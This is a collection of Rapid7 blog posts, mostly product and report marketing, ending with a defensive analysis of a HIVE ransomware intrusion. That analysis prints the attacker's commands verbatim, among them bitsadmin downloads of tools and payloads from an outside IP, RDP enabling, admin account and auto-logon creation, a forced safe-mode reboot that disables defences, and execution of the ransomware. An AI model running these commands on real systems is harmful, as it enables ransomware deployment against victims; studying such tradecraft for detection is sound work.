Tag Archives: Detection and Response

XDR, the Beatles, and Blunt Instruments

Post Syndicated from Amy Hunt original https://blog.rapid7.com/2023/02/01/xdr-the-beatles-and-blunt-instruments/

XDR, the Beatles, and Blunt Instruments

Sometimes tools are blunt because there’s nothing else. Regarding economic controls for example, Fed Chair Jerome Powell said: “We have essentially interest rates, the balance sheet and forward guidance. They are famously blunt tools, they are not capable of surgical precision.”

Others are blunt because they’re new and these things take time. For example: stereos in the 1960s shook the floors with unrestrained subwoofers. Yes, it was the Beatles and Ringo Star on the drums, but still. It took years to refine this new technology to enhance the music instead of assaulting our senses.

Taking off shoes at the airport? Blunt.

Years later, Real ID and TSA Pre-Check®? Better.

Coming soon: Facial recognition and biometric screening, better still—after privacy concerns are addressed.  

Cybersecurity has used blunt tools, followed by far too many “better ones.” The average security team is now managing 76 tools, and spending more than half their time manually producing reports. The way out is a sharp tool to replace all these better ones—a resource that will actually get the job done. Start with our newly released 2023 XDR Buyer’s Guide.

XDR consolidation and precision has arrived, just know what to look for

Security programs succeed when they have a library of curated, high-fidelity detections backed by threat intelligence that they can trust out-of-the-box. Anything else is low performance guesswork.

Huge numbers of alerts that teams must review and triage can lead to missing high profile threats. Extended Detection and Response (XDR) solutions deliver tailored security alerts that are quantified and scored to improve signal-to-noise ratio and help catch threats early in the attack chain. XDR also eliminates context switching and ensures you have high context, correlated investigation details, blending relevant data from across different event sources into one, coherent picture.

XDR delivered: MDR

With Rapid7, XDR security can also be delivered to you as an end-to-end, turnkey service. Managed detection and response (MDR) can be a game changer, with always-on threat detection, incident validation, and response (such as threat containment). Some providers offer features like threat intelligence, human-led threat hunting, behavior analytics, automation, and more to your capabilities.

A good MDR provider will be 100% end-to-end responsible, however, it should also be an extension of your in-house team. Look for a provider that will freely share the XDR technology with your in-house operation, and work transparently. Your team should be able to observe your environment exactly as the MDR team does, do their own threat hunting, and more—whatever level of collaboration you’d like to see.

2023 is the year of consolidation and XDR. But no change, however awesome or overdue, is easy. We hope this XDR Buyer’s Guide helps.

XDR, the Beatles, and Blunt Instruments

The High Cost of Human Error In OT Systems

Post Syndicated from Rapid7 original https://blog.rapid7.com/2023/01/26/the-high-cost-of-human-error-in-ot-systems/

The High Cost of Human Error In OT Systems

In baseball, a mistake made by a player that could have easily been avoided is sometimes called an “unforced error.” An unforced error is not an official error (that is, they are not reflected in statistics), however, they can result in additional runs being scored, runners getting on base, and even games being lost. This applies in cyber security, as well. Threat actors use all sorts of nefarious tactics to target your networks, but they usually can’t succeed without some mistakes from your team.

Rapid7’s partner SCADAfence recently commissioned a survey of 3500 OT professionals. Among the findings, nearly 80% of respondents believe that human error presents the greatest risk for compromise to operational technology (OT) control systems. The survey also found that 83% of respondents believe that there is a significant shortfall in the number of skilled workers. This could contribute to the problem, since under-qualified or improperly trained security workers are more likely to make preventable errors.

Still, many organizations continue to ignore the extremely high potential costs of human error.

Real World Consequences

Last year, SCADAfence argued that an explosion at the Freeport LNG natural gas plant, which a Russian group claimed responsibility for, was actually caused by human error. The timing of the explosion, less than two months after a major maintenance upgrade, and several other factors appear to indicate that improper procedures and a lapse in adherence to company policies were the cause. This was later confirmed by the U.S. Pipeline and Hazardous Materials Safety Administration (PHMSA).

Another example is the Oldsmar Water Facility Attack in 2021. According to reports, human error played a large factor in the attack—in which hackers gained unauthorized access to the water facility’s industrial control system (ICS) network and increased sodium hydroxide content in drinking water to poisonous levels. The Oldsmar facility was using Windows 7, even though Microsoft had stopped supporting it a year earlier. All of Oldsmar’s employees shared the same password to access TeamViewer, a remote access software. And, the facility was connected directly to the internet without any type of firewall protection installed. All of these easily preventable factors contributed to the attacker’s ability to gain access to the facility.

Human error in OT systems can take different forms. As stated above, weak, outdated or duplicated passwords have led to any number of cyber security breaches. Firewalls, which are relied on to provide a first line of OT cyber security defense, are frequently misconfigured or improperly deployed by IT staff members. Finally, phishing attacks, a form of social engineering used by malicious actors to gain information from unwitting victims which is then used to access secure systems, are a major starting point for attacks on critical infrastructure.

Rapid7’s Advice

The number one way to prevent human error from leading to costly cyber attacks is training. OT and IT staff should be regularly trained on company security policies and should understand the importance of always following protocol. Also, teams need to work closely together to ensure that proper protections are in place across the network.

There are a number of best practices that have been shown to reduce the frequency and severity of cyber attacks in OT and ICS networks. Organizations should:

  • Require secure passwords that are changed on a regular schedule. Never allow team members to share passwords or access IDs to systems. Each employee that requires access to a system or device should have a unique user name and account.
  • Reduced access privilege access
  • Keep your network updated with important patches and upgrades
  • Make sure the tools your teams rely on are reliable, effective, and up to date.
  • Stay on top of news and information about newly discovered vulnerabilities, and potential threats relevant to your organization.

Finally, if your team lacks bandwidth or necessary skills, consider using managed services to gain insights and relevant threat information about your network.

This article was written in partnership with SCADAfence.

3 Ways to Apply a Risk-Based Approach to Threat Detection, Investigation, and Response: Gartner® Report

Post Syndicated from Aaron Wells original https://blog.rapid7.com/2023/01/25/3-ways-to-apply-a-risk-based-approach-to-threat-detection-investigation-and-response-gartner-r-report/

3 Ways to Apply a Risk-Based Approach to Threat Detection, Investigation, and Response: Gartner® Report

In an ongoing effort to help security organizations gain greater visibility into risk, we’re pleased to offer this complimentary Gartner® report, 3 Ways to Apply a Risk-Based Approach to Threat Detection, Investigation, and Response. This insightful research can help a security organization realize what its exposure to risk could be at a given time.

Have you measured risk recently?

This is a critical question, but there may be an even more important one: How would you go about implementing a security program to mitigate risk? A tech stack opens itself to all kinds of ongoing vulnerabilities as it expands in more directions, so hopefully its also innovating and driving profits on behalf of the business.

Therefore, a security operations center (SOC) must constantly contort itself to keep that growing attack surface secure via a threat detection, investigation, and response program. According to Gartner, a SOC should:

  • Break through silos and open dialogue by establishing a quorum of business leaders to openly discuss cybersecurity and its requirements.
  • Reduce unnecessary delays in investigation by ensuring threat detection use cases are fully enriched with internal business context at the point which alerts are generated.
  • Enable incident responders to make effective prioritization and response decisions by centrally recording asset-based and business-level risk information.

A binding factor for risk

Technology: It’s the solution to and cause of business risk and the many issues that follow. Relying on the internet means operations and deployments move faster while the attack surface is simultaneously expanding. As the speed of business increases, so does the “noise” security analysts must sift through to get to the real issue. Gartner says:

“Business-dependent technologies are a focal point for criminals moving into cyberspace, as anonymity is now a commodity, making the dash for profits an exceedingly easy gain. Therefore, SecOps must consider and understand business risk and the impact cyber elements have on these risks. However, the question remains: How do these inundated security technologists reduce the noise and achieve their objectives in an environment where time is a limiting factor?”

Faster risk-based prioritization

If time is indeed a limiting factor, then faster risk-based prioritization is a key step on the road to faster incident response, especially as organizations across all industries are migrating to the cloud at an unprecedented pace to support innovation, scale, and digital transformation. Uniting cloud risk and threat detection has been at the forefront of Rapid7’s effort to prioritize and respond to an incident faster.

Integrating multiple threat feeds and sources of telemetry while correlating that intelligence back to assets in your environment provides the visibility needed to target higher-risk areas. It also lends business context, depending on where those higher risk levels are, empowering security practitioners to quickly prioritize and mitigate risk. Gartner posits that, “risk is the sum of your assets, active threats, resident vulnerabilities, and potential organizational impact.”

In the report, Gartner highlights and dives deep into three key areas for enabling risk-based threat detection, investigation, and response:

  • Use risk-based prioritization for faster incident response: Once the incident responders receive the escalation from the SOC (L3s), they’re typically charged with establishing or validating infection boundaries, identifying the root cause of the infection and offering containment and remediation actions.
  • Enrich risk information into threat detection processes: Cyber risk varies in its measurement; to be effective, organizations must define at least four core areas to measure and collect data: sums of assets, resident vulnerabilities, active threats and organizational impact.
  • Break through silos and open the dialogue: To help executives make the most informed decisions, security risk management (SRM) leaders should cultivate relationships with key stakeholders and report effective risk-based metrics, promoting a business-integrated security capability.

For much more context on each of these areas, read the report linked below. Incident response teams need all the help they can get when attempting to work nearly round-the-clock, always-on, multiple incidents at a time.

A perpetual effort

This is also the fun of the job; attackers constantly evolve, which forces security practitioners to innovate, evolve, and outpace bad actors. When it comes to threat detection, investigation, and response, it is essential to pump up visibility and stay several steps ahead of attackers by unifying and transforming multiple telemetry sources.

We’re pleased to continually offer leading research to help you gain clarity into that risk and supercharge security efforts. Read the complimentary Gartner report to better understand how risk applies to your critical assets and how to mitigate the impact of a potential threat.

Gartner, “3 Ways to Apply a Risk-Based Approach to Threat Detection, Investigation, and Response” Jonathan Nunez, Andrew Davies, Pete Shoard, Al Price. 16 November 2022.

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

Download the report

Rapid7 Added to Carahsoft GSA Schedule Contract

Post Syndicated from Rapid7 original https://blog.rapid7.com/2023/01/24/rapid7-added-to-carahsoft-gsa-schedule-contract/

Rapid7 Added to Carahsoft GSA Schedule Contract

We are happy to announce that Rapid7 has been added to Carahsoft’s GSA Schedule contract, making our suite of comprehensive security solutions widely available to Federal, State, and Local agencies through Carahsoft and its reseller partners.

“With the ever-evolving threat landscape, it is important that the public sector has the resources to defend against sophisticated cyber attacks and vulnerabilities,” said Alex Whitworth, Sales Director who leads the Rapid7 Team at Carahsoft.

“The addition of Rapid7’s cloud risk management and threat detection solutions to our GSA Schedule gives Government customers and our reseller partners expansive access to the tools necessary to protect their critical infrastructure.”

With the GSA contract award, Rapid7 is able to significantly expand its availability to Federal, State, Local, and Government markets. In addition to GSA, Rapid7 was recently added to the Department of Homeland Security (DHS) Continuous Diagnostics Mitigation’s Approved Products List.

“As the attack surface continues to increase in size and complexity, it’s imperative that all organizations have access to the tools and services they need to monitor risk across their environments,” said Damon Cabanillas, Vice President of Public Sector Sales at Rapid7.

“This contract award is a massive step forward for Rapid7 as we work to further serve the public sector.”

Rapid7 is available through Carahsoft’s GSA Schedule No. 47QSWA18D008F. For more information on Rapid7’s products and services, contact the Rapid7 team at Carahsoft at [email protected].

Rapid7 Now Available Through Carahsoft’s NASPO ValuePoint

Post Syndicated from Rapid7 original https://blog.rapid7.com/2023/01/24/rapid7-now-available-through-carahsofts-naspo-valuepoint/

Rapid7 Now Available Through Carahsoft’s NASPO ValuePoint

We are happy to announce that Rapid7’s solutions have been added to the NASPO ValuePoint Cloud Solutions contract held by Carahsoft Technology Corp. The addition of this contract enables Carahsoft and its reseller partners to provide Rapid7’s Insight platform to participating States, Local Governments, and Educational (SLED) institutions.

“Rapid7’s Insight platform goes beyond threat detection by enabling organizations to quickly respond to attacks with intelligent automation,” said Alex Whitworth, Sales Director who leads the Rapid7 Team at Carahsoft.

“We are thrilled to work with Rapid7 and our reseller partners to deliver these advanced cloud risk management and threat detection solutions to NASPO members to further protect IT environments across the SLED space.”

NASPO ValuePoint is a cooperative purchasing program facilitating public procurement solicitations and agreements using a lead-state model. The program provides the highest standard of excellence in public cooperative contracting. By leveraging the leadership and expertise of all states and the purchasing power of their public entities, NASPO ValuePoint delivers the highest valued, reliable and competitively sourced contracts, offering public entities outstanding prices.

“In partnership with Carahsoft and their reseller partners, we look forward to providing broader availability of the Insight platform to help security teams better protect their organizations from an increasingly complex and volatile threat landscape,” said Damon Cabanillas, Vice President of Public Sector Sales at Rapid7.

The Rapid7 Insight platform is available through Carahsoft’s NASPO ValuePoint Master Agreement #AR2472. For more information, visit https://www.carahsoft.com/rapid7/contracts.

Trading Convenience for Credentials

Post Syndicated from Aaron Wells original https://blog.rapid7.com/2023/01/19/trading-convenience-for-credentials/

Tap. Eat. Repeat. Regret?

Trading Convenience for Credentials

Using food or grocery delivery apps is great. It really is. Sure, there’s a fee, but when you can’t bring yourself to leave the house, it’s a nice treat to get what you want delivered. As a result, adoption of food apps has been incredibly fast and they are now a ubiquitous part of everyday culture. However, the tradeoff for that convenience is risk. In the past few years, cybercriminals have turned their gaze upon food and grocery delivery apps.

According to McKinsey, food delivery has a global market worth of over $150 billion, more than tripling since 2017. That equates to a lot of people entering usernames, passwords, and credit card numbers into these apps. That’s a lot of growth at an extremely rapid pace, and presents the age-old challenge of security trying to keep pace with that growth. Oftentimes it’s not a successful venture; specifically, credential stuffing (no relation to Thanksgiving stuffing or simply stuffing one’s face) is one of the major attacks of choice for bad actors attempting to break into user accounts or deploy other nefarious attacks inside of these apps.

Sounding the alarm

The FBI, among its many other cybercrime worries, recently raised the alert on credential stuffing attacks on customer app accounts across many industries. The usual-suspect industries—like healthcare and media—are there, but now the report includes “restaurant groups and food-delivery,” as well. This is notable due to that sector’s rapid adoption of apps, their growth in popularity among global consumers, and the previously mentioned challenges of security keeping pace with development instead of slowing it down.

The FBI report notes that, “In particular, media companies and restaurant groups are considered lucrative targets for credential stuffing attacks due to the number of customer accounts, the general demand for their services, and the relative lack of importance users place on these types of accounts.” Combine that with things like tutorial videos on hacker forums that make credential stuffing attacks relatively easy to learn, and it’s a (to continue with the food-centric puns) recipe for disaster.

Some background on credential stuffing

This OWASP cheat sheet describes credential stuffing as a situation when attackers test username/password pairs to gain access to one website or application after obtaining those credentials from the breach of another site or app. The pairs are often part of large lists of credentials sold on attacker forums and/or the dark web. Credential stuffing is typically part of a larger account takeover (ATO), targeting individual user accounts, of which there are so, so many on today’s popular delivery apps.  

To get a bit deeper into it, the FBI report goes on to detail how bad actors often opt for the proxy-less route when conducting credential stuffing attacks. This method actually requires less time and money to successfully execute, all without the use of proxies. And even when leveraging a proxy, many existing security protocols don’t regularly flag them. Add to that the recent rise in the use of bots when scaling credential stuffing attacks and the recipe for disaster becomes a dessert as well (the puns continue).  

All of these aspects contributing to the current state of vulnerability and security on grocery and food-delivery apps are worrying enough, but also creating concern is the fact that mobile apps (the primary method of interaction for food delivery services) typically permit a higher rate of login attempts for faster customer verification. In fairness, that can contribute to a better customer experience, but clearly leaves these types of services more vulnerable to attacks.

Cloud services like AWS and Google Cloud can help their clients fend off credential stuffing attacks with defenses like multifactor authentication (MFA) or a defense-in-depth approach that combines several layers of protection to prevent credential stuffing attacks. Enterprise customers can also take cloud security into their own hands—on behalf of their own customers actually using these apps—when it comes to operations in the cloud. Solutions like InsightCloudSec by Rapid7 help to further govern identity and access management (IAM) by implementing least-privilege access (LPA) for cloud workloads, services, and data.

Solutions to breed customer confidence

In addition to safeguards like MFA and LPA, the FBI report details a number of policies that food or grocery-delivery apps can leverage to make it harder for credential thieves to gain access to the app’s user-account base, such as:

  • Downloading publicly available credential lists and testing them against customer accounts to identify problems and gauge their severity.  
  • Leveraging fingerprinting to detect unusual activity, like attempts by a single address to log into several different accounts.
  • Identifying and monitoring for default user-agent strings leveraged by credential-stuffing attack tools.

Detection and response (D&R) solutions like InsightIDR from Rapid7 can also leverage the use of deception technology to lure attackers attempting to use stolen credentials. By deploying fake honey credentials onto your endpoints to deceive attackers, InsightIDR can automatically raise an alert if those credentials are used anywhere else on the network.

At the end of the day, a good meal is essential. It’s also essential to protect your organization against credential stuffing attacks. Our report, Good Passwords for Bad Bots, offers practical, actionable advice on how to reduce the risk of credential-related attacks to your organization.

Download Good Passwords for Bad Bots today.

What’s New in InsightIDR: Q4 2022 in Review

Post Syndicated from Dina Durutlic original https://blog.rapid7.com/2023/01/17/whats-new-in-insightidr-q4-2022-in-review/

What’s New in InsightIDR: Q4 2022 in Review

As we continue to empower security teams with the freedom to focus on what matters most, Q4 focused on investments and releases that contributed to that vision. With InsightIDR, Rapid7’s cloud-native SIEM and XDR solution, teams have the scale, comprehensive contextual coverage, and expertly vetted detections they need to thwart threats early in the attack chain.

This 2022 Q4 recap post offers a closer look at the recent investments and releases we’ve made over the past quarter. Here are some of the highlights:

Easy to create and manage log search, dashboards, and reports

You spoke, we listened! Per our customers, you can now create tables with multiple columns, allowing teams to see all data in one view. For example, simply add a query with a “where” clause and select a table display followed by the columns you want displayed.

Additionally, teams can reduce groupby search results with the having() clause. Customers can filter out what data is returned from groupby results with the option to layer in existing analytics function support (e.g. count, unique, max).

What’s New in InsightIDR: Q4 2022 in Review

Accelerated time to value

The InsightIDR Onboarding Progress Tracker, available for customers during their 90 day onboarding period, is a self-serve, centralized check-list of onboarding tasks with step-by-step guidance, completion statuses, and context on the “what” and “why” of each task.

No longer onboarding? No problem! We made the progress tracker available beyond the 90-day onboarding period so customers can evaluate setup progress and ensure InsightIDR is operating at full capacity to effectively detect, investigate, and respond to threats.

What’s New in InsightIDR: Q4 2022 in Review

Visibility across your modern environment

For those that leverage Palo Alto Cortex, you can now configure Palo Alto Cortex Data Lake to send activity to InsightIDR including syslog-encrypted Web Proxy, Firewall, Ingress Authentication, etc. Similarly, for customers leveraging Zscaler, you can now configure Zscaler Log Streaming Service (LSS) to receive and parse user activity and audit logs from Zscaler Private Access through the LSS.

For teams who do not have the bandwidth to set up and manage multiple event sources pertaining to Cisco Meraki, we have added support to ingest Cisco Meraki events through the Cisco Meraki API. This will enable you to deploy and add new event sources with less management.

What’s New in InsightIDR: Q4 2022 in Review

Customers can now bring data from their Government Community Cloud (GCC) and GCC High environments when setting up the Office365 event source to ensure security standards are met when processing US Government data.

Stay tuned!

We’re always working on new product enhancements and functionality to ensure your team can stay ahead of potential threats and malicious activity. Keep an eye on the Rapid7 blog and the InsightIDR release notes to keep up to date with the latest detection and response releases at Rapid7.

Gartner® Report: Questions to Ask When Selecting an MDR Provider

Post Syndicated from Aaron Wells original https://blog.rapid7.com/2023/01/17/gartner-r-report-questions-to-ask-when-selecting-an-mdr-provider/

Measuring against the right criteria

Gartner® Report: Questions to Ask When Selecting an MDR Provider

The “right” criteria is whatever works to further your security organization’s specific needs in detection and response (D&R). There’s only so much budget to go around—and successfully obtaining a significant year-over-year increase can be rare. The last thing anyone wants to be known for is depleting that budget on a service provider that doesn’t deliver.

At Rapid7, we’ve spoken extensively about how a security operations center (SOC) can evaluate its current D&R proficiency to determine if it would be beneficial to extend those capabilities with a managed detection and response (MDR) provider. In an ongoing effort to help security organizations thoughtfully consider potential providers, we’re pleased to offer this complimentary Gartner® report, Quick Answer: What Key Questions Should I Ask When Selecting an MDR Provider?

This asset acts as a time-saving report for quick answers when vetting several potential providers. Key questions to ask yourself and your service providers include:

  • Yourself: Are we looking for providers that can improve our incident response capabilities?
  • Yourself: Do we have use cases specific to our environment that the MDR provider must accommodate?
  • Yourself: What functionality do we need from the provider’s portal?
  • Provider: How good are you at detecting threats that have bypassed existing, preventative controls?
  • Provider: How do you secure, and how long do you retain, the data you collect from customers?
  • Provider: What response types are provided as a component of the MDR service, and what is the limit of those response activities?

Before expecting any quick answers though, it’s crucial to consider…

Your criteria framework

Your organization might conduct a new audit of desired outcomes and team capabilities and discover it actually can handle the vast majority of D&R tasks. That’s why it’s crucial to go through that process of discovery of what you really need and determine if you can responsibly avoid spending money. Gartner says:

“Many buyers struggle to formulate effective RFPs that can solicit relevant information from providers to help in the initial evaluation and down-select process. Therefore, it is critical that buyers construct the must have, should have, could have and won’t have (MoSCoW) framework. Using these criteria will ensure they are able to effectively make selection choices based on genuine business needs.”

Also, what is the platform from which you are launching your evaluation process? Will this be the first engagement of an MDR service provider or are you changing providers for one reason or another? If the latter is true, then you’ll most likely have loads of existing data to inform your buying experience this time around. It’s also critical to get a strong sense of what the implementation process will look like after a service agreement has been signed. Gartner says:

“Selecting an MDR service provider to obtain modern SOC services can be a challenging process that requires the appropriate planning and evaluation processes before, during and after an agreement. Gartner clients face several unique challenges when evaluating and implementing MDR services.”

An urgent need

The need for additional or enhanced threat monitoring creeps ever upward, thus the need for regular re-evaluation of your D&R capabilities. Rather than ramping up the evaluation and MDR engagement process at a faster pace each time out, taking the time to think through and document desired outcomes with key stakeholders will ultimately save your security organization headaches…and money. Gartner says:

“The process for scoping use cases and requirements, and assessing MDR service offerings, often includes a negotiation and evaluation exercise where a “best match” and “ideal partner” is identified. Prior to starting any outsourcing initiative, requirements need to be documented and ratified (and continuously updated post onboarding), or else the old adage of “garbage in, garbage out” is likely to be realized.”

Take the time

It can be a rigorous evaluation process when determining your organization’s capacity for effective D&R. If your team is stretched too thin, a managed services provider could help. For a deeper dive into the MDR evaluation process, check out the complimentary Gartner report.

Gartner, “Quick Answer: What Key Questions Should I Ask When Selecting an MDR Provider?” John Collins, Andrew Davies, Craig Lawson, 10 November 2021.

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

Dated, Vulnerable, Insecure Tech Is All Over the News. Hooray.

Post Syndicated from Amy Hunt original https://blog.rapid7.com/2023/01/13/dated-vulnerable-insecure-tech-is-all-over-the-news-hooray/

Dated, Vulnerable, Insecure Tech Is All Over the News. Hooray.

Save the links. Pass them around. And consider getting your copy of the new 2023 XDR Buyer’s Guide—because if this isn’t a time for reckoning and progress, what is?

The news: on Wednesday, the United States grounded all flights coast-to-coast for the first time since 9/11. The Federal Aviation Administration’s (FAA) Notice to Air Missions system (NOTAM) failed, leaving pilots without vital information they need to fly.

Separate from air traffic control systems, NOTAM ingests data from over 19,000 U.S. airports big and small. It then alerts specific pilots about specific anomalies to expect during 45,000 flights every day: the very latest runway closures, airspace restrictions, disruption of navigational signals, birds that can threaten a plane’s engines, anything.

Apparently, a corrupted file in the software was to blame for the system failure. This, from NBC News:

“…a government official said a corrupted file that affected both the primary and the backup NOTAM systems appeared to be the culprit. Investigators are working to determine if human error or malice is to blame for taking down the system, which eight contract employees had access to. At least one, perhaps two, of those contractors made the edit that corrupted the system, two government sources said Thursday.”

It will likely be a while before we know exactly what happened. But security practitioners might consider jumping to one conclusion today: your argument for investing in a detection and response solution which will provide visibility across your modern environment just got better. It’s important to have the right tools and systems in place, in all areas of your business from infrastructure to security, in order to have business continuity. Even with initiatives like legacy modernization, security teams need to have a view of their threat landscape as it expands.

Is anyone more responsible for business continuity than you?

Recently, CISOs have been named as defendants in several shareholder, civil, and criminal actions.  At the same time, CISOs are feeling less and less “personal responsibility” for security events, dropping from 71% to 57% in just one year. Security teams are spending more than half their time manually producing reports, pulling in data from multiple siloed tools. And silos present unacceptable risk. Something has to give.

While capabilities can vary across XDR vendors, the promise is to integrate and correlate data from numerous security tools — and from across varying environments — so you can see, prioritize, and eliminate threats, and move on quickly. The vendor evaluation process isn’t easy. But XDR is well worth it.

The 2023 XDR Buyer’s Guide includes:

  • Must-have requirements any real XDR offers
  • How XDR can be a staffing and efficiency game-changer
  • Key questions to ask as you evaluate options

The hidden lesson in the NOTAM outage? Less is more.

Patrick Kiley, Principal Security Consultant and Research Lead at Rapid7 has a long transportation background. He said that when organizations need to migrate off dated systems, it tends to be a “forklift upgrade, which typically requires significant resources.” That could include development, testing, cloud computing or hardware investment, and of course skilled cybersecurity personnel—who are in short supply these days.

“This kind of migration is a bear,” Kiley said, “so organizations tend to put them off.”

What’s not a bear?  Getting your copy of the 2023 XDR Buyer’s Guide.

Increasing The Sting of HIVE Ransomware

Post Syndicated from Eoin Miller original https://blog.rapid7.com/2023/01/11/increasing-the-sting-of-hive-ransomware/

How malicious actors evade detection and disable defenses for more destructive HIVE Ransomware attacks.

Increasing The Sting of HIVE Ransomware

Rapid7 routinely conducts research into the wide range of techniques that threat actors use to conduct malicious activity. One objective of this research is to discover new techniques being used in the wild, so we can develop new detection and response capabilities.

Recently, Rapid7 observed a malicious actor performing several known techniques for distributing ransomware across many systems within a victim’s environment. In addition to those techniques, the actor employed a number of previously unseen techniques designed to to drop the defenses of the victim, inhibit monitoring, disable networking and allow time for the ransomware to finish encrypting files. These extra steps would make it extremely difficult, if not impossible, for a victim to effectively use their security tools to defend endpoints after a certain point in the attack.

Rapid7 has updated existing and added new detections to InsightIDR to defend against these techniques. In this article, we’ll explore the techniques employed by the threat actor, why they’re so effective, and how we’ve updated InsightIDR to protect against them.

What approach did the malicious actor take to prepare the victim’s environment?

Initially using Cobalt Strike, the malicious actor retrieved system administration tools and malicious payloads by using the Background Intelligent Transfer Service (BITSAdmin).

"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe

bitsadmin  /transfer debjob /download /priority normal http://79.137.206.47/int.exe C:\Windows\int.exe

The malicious actor then began using the remote process execution tool PSExec to execute batch files (rdp.bat) that would cause registry changes to enable Remote Desktop sessions (RDP) using reg.exe. This enabled the malicious actor to laterally move throughout the victim’s environment using the graphical user interface.

PSEXESVC.exe: C:\Windows\PSEXESVC.exe└──cmd.exe: C:\Windows\system32\cmd.exe /c ""rdp.bat" "└── reg.exe: reg  add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f

Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following:

  1. Copy down batch scripts
  2. Execute batch scripts (file1.bat), which:
  3. Creates administrator account on the local system
  4. Reconfigures boot configuration data (bcdedit.exe) so that the host will not load any additional drivers or services (ie: network drivers or endpoint protection)
  5. Sets various registry values to ensure the created local administrator user will automatically logon by default
  6. Changes the Windows Shell from Explorer to their malicious script (file2.bat)
  7. Reboots the system with the shutdown command
  8. On reboot, the system logs in and executes the shell (file2.bat), which:
  9. Extracts HIVE ransomware payload(s) from an encrypted archive (int.7z) using 7-Zip’s console executable (7zr.exe)
  10. Executes the ransomware payload (int.exe or int64.exe)

Below are some commands observed executed by the malicious actor (with necessary redactions):

xcopy.exe /C/Q/H/Y/Z 
"\\<REDACTED>\sysvol\<REDACTED>\Policies {<REDACTED>}\Machine\Scripts\Startup\file1.bat" "C:\windows"
xcopy.exe /C/Q/H/Y/Z 
"\\<REDACTED>\sysvol\<REDACTED>\Policies\{<REDACTED>}\Machine\Scripts\Startup\file2.bat" "C:\windows"
xcopy.exe /C/Q/H/Y/Z 
"\\<REDACTED>\sysvol\<REDACTED>\Policies\{<REDACTED>}\Machine\Scripts\Startup\7zr.exe" "C:\windows"
xcopy.exe /C/Q/H/Y/Z 
"\\<REDACTED>\sysvol\<REDACTED>\Policies\{<REDACTED>}\Machine\Scripts\Startup\int.7z" "C:\windows\"
C:\WINDOWS\SYSTEM32\cmd.exe /c "C:\windows\file1.bat"
net  user <REDACTED> <REDACTED> /add
C:\WINDOWS\system32\net1  user <REDACTED> <REDACTED> /add
net  user <REDACTED> /active:yes
C:\WINDOWS\system32\net1  user <REDACTED> /active:yes
net  localgroup Administrators <REDACTED> /add
C:\WINDOWS\system32\net1  localgroup Administrators <REDACTED> /add
bcdedit  /set {default} safeboot minimal
reg  add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeText /t REG_SZ /d "" /f
reg  add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeCaption /t REG_SZ /d "" /f
reg  add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LegalNoticeText /t REG_SZ /d "" /f
reg  add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LegalNoticeCaption /t REG_SZ /d "" /f
reg  add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
reg  add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d <REDACTED> /f
reg  add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d <REDACTED> /f
reg  add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoLogonCount /t REG_DWORD /d 1 /f
reg  add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\windows\file2.bat" /f
shutdown  -r -f -t 10 -c "Computer Will Now Restart In SAFE MODE..."

Rapid7 also observed the malicious actor extracting HIVE ransomware payload using 7zip’s console application (7zr.exe) from encrypted 7zip archive (int.7z) with a simple password (123):

"C:\windows\7zr.exe" x c:\windows\int.7z -p123 -oc:\windows

The malicious actor then manually executed the ransomware (int.exe) once with only the required username:password combination passed to the -u flag. This presumably encrypted the local drive and also all network shares the user had access to:

"C:\Windows\int.exe" -u <REDACTED>:<REDACTED>"

The malicious actor also manually executed the 64 bit version of the ransomware (int64.exe) once on a different host with the -no-discovery flag. This is likely intended to override the default behavior and not discover network shares to encrypt their files. The -u flag was also passed and the same values for the username:password were provided as seen on the other host.

C:\Windows\int64.exe  -u <REDACTED>:<REDACTED> -no-discovery

Why is this approach so effective?

Deployment of ransomware using Active Directory group policies allows the malicious actor to hit all systems in the environment for as long as that group policy is active in the victim’s environment. In this case, any system that was booting and connected to the environment would receive the configuration changes, encrypted archive containing the ransomware, a decompression utility to extract the ransomware, configuration changes and the order to reboot and execute. This can be especially effective if timed with deployments of patches that require a reboot, done at the beginning of the day or even remotely using Powershell’s Stop-Computer cmdlet.

Storing the ransomware within a 7zip encrypted archive  (int.7z) with a password even as simple as (123) makes the task of identifying the ransomware on disk or transmitted across the network nearly impossible. This makes retrieval and staging of the malicious actors payload very difficult to spot by security software or devices (Antivirus, Web Filtering, IDS/IPS and more). In this case, the malicious actor has taken care to only put the encrypted copy on the disk of a victim’s system and not execute it until they have fully dropped the defenses on the endpoint.

Reconfiguring the default boot behavior to safeboot minimal and then executing a reboot unloads all but the bare minimum for the Windows operating system. With no additional services, software or drivers loaded the system is at its most vulnerable. With no active defenses (Antivirus or Endpoint Protection) the system comes up and tries to start its defined shell which has been swapped to a batch script (file2.bat) by the malicious actor.

It should be noted that in this state, there is no method of remotely interacting with the system as no network drivers are loaded. In order to respond and halt the ransomware, each host must be physically visited for shutdown. Manually priming the host in this way is more effective than the existing capabilities of the HIVE ransomware which stops specific defensive services (Windows Defender, etc) and kills specific processes prior to encrypting the contents of the drive.

All systems in this state are left automatically logged in as an administrator, which gives anyone who has physical access complete control. Lastly, the system will continue to boot into safeboot minimal mode by default (again, no networking) until each system is set back to its original state with a command such as below. Bringing the host back online in this state will still continue to execute the malware when logged into, which will also enable the default network spreading behavior.

bcdedit /deletevalue {default} safeboot

